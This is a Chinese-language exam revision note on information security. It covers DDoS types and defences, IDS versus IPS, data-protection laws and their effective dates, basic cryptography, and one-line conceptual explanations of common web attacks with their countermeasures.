HTTP Flood 是应用型的代表，针对 HTTP 应用层。攻击者控制大量肉鸡发送看起来正常的 HTTP 请求（比如疯狂访问搜索接口、登录接口），每个请求都要服务器消耗 CPU 和数据库资源去处理。和 SYN Flood 不同，HTTP Flood 的连接是完整建立的，攻击的是应用逻辑而不是协议栈。防御靠行为分析（识别异常请求模式）、验证码（让人工验证挡住自动化）、限流（单 IP 限流）、Web 应用防火墙（WAF）。

一个简单类比：SYN Flood 像一群人挤在餐厅门口不进不退堵住门；HTTP Flood 像一群人进餐厅点了最贵的菜又说要换，把服务员耗死。防御前者靠门禁（SYN Cookie），防御后者靠识别捣乱的人（行为分析、验证码）。

安全防护措施一览

安全防护措施：防火墙（在网络边界过滤流量，按规则放行或拦截数据包）、入侵检测系统 IDS（只检测报警，不阻断）/入侵防御系统 IPS（检测并阻断，串联在网络里实时拦截）、VPN（加密隧道，在不安全网络上建安全通道）、最小权限原则（每个账号只给最小必需权限）、多因素认证 MFA（密码 + 短信验证码 + 指纹等多重验证）、数据备份（3-2-1 备份原则：3 份数据、2 种介质、1 份异地）、安全审计日志（记录关键操作便于追溯）。

IDS 和 IPS 的区别是重点知识：IDS 只”看”和”喊”，旁路部署，发现攻击报警但不阻止；IPS 既”看”又”拦”，串联部署，发现攻击实时阻断。记口诀：”IDS 旁路只报警、IPS 串联能阻断”。

---

伦理安全重点回顾

GDPR 2018 年 5 月 25 日施行；个人信息保护法 2021 年 11 月 1 日施行；数据安全法 2021 年 9 月 1 日施行；网络安全法 2017 年 6 月 1 日施行；等保 2.0 标准号 GB/T 22239-2019，2019 年 12 月 1 日实施。这五个日期最容易混，单独记牢。GDPR 关键权利：被遗忘权（删除权）、数据可携带权、反对画像权、自动决策要人工介入。个保法的敏感个人信息包括生物识别、宗教信仰、特定身份、医疗健康、金融账户、行踪轨迹、不满 14 周岁未成年人信息，处理要单独同意。三部法对比：网安法管基础设施、数安法管数据对象、个保法管个人信息权益；等保五级”一自主、二指导、三监督、四强制、五专控”，三级每年测一次、四级每半年一次；”一个中心三重防护”是安全管理中心加通信网络、区域边界、计算环境三层。知识产权：专利要申请（发明 20 实用 10 外观 15，自申请日）、著作权自动取得（终生加 50）、商标要注册（10 年可无限续展）。

对称加密快但密钥分发难（AES 是分组密码、块 128 位、密钥 128/192/256），非对称加密慢但解决分发（RSA 基于大数分解）；数字签名是私钥对摘要加密签、公钥解密验，发送方用私钥签、接收方用公钥验；哈希单向不可逆用于完整性，MD5 已不推荐、SHA-256 是数字签名首选。SQL 注入是输入拼进 SQL（参数化查询防御），XSS 是脚本注入网页在浏览器执行（输出转义防御），CSRF 是借登录态发请求（Token 防御），中间人攻击是夹在双方中间窃听篡改（HTTPS 靠证书防御）——四个攻击原理各一句话别混。CIA 三要素：机密性防偷看（加密访问控制）、完整性防篡改（哈希数字签名）、可用性防打瘫（备份容灾）。差分隐私加噪声保护个体，ε 越小越隐私；联邦学习数据不动模型动，客户端算梯度中央聚合。IDS 只报警、IPS 串联能阻断，3-2-1 备份原则是 3 份数据 2 种介质 1 份异地。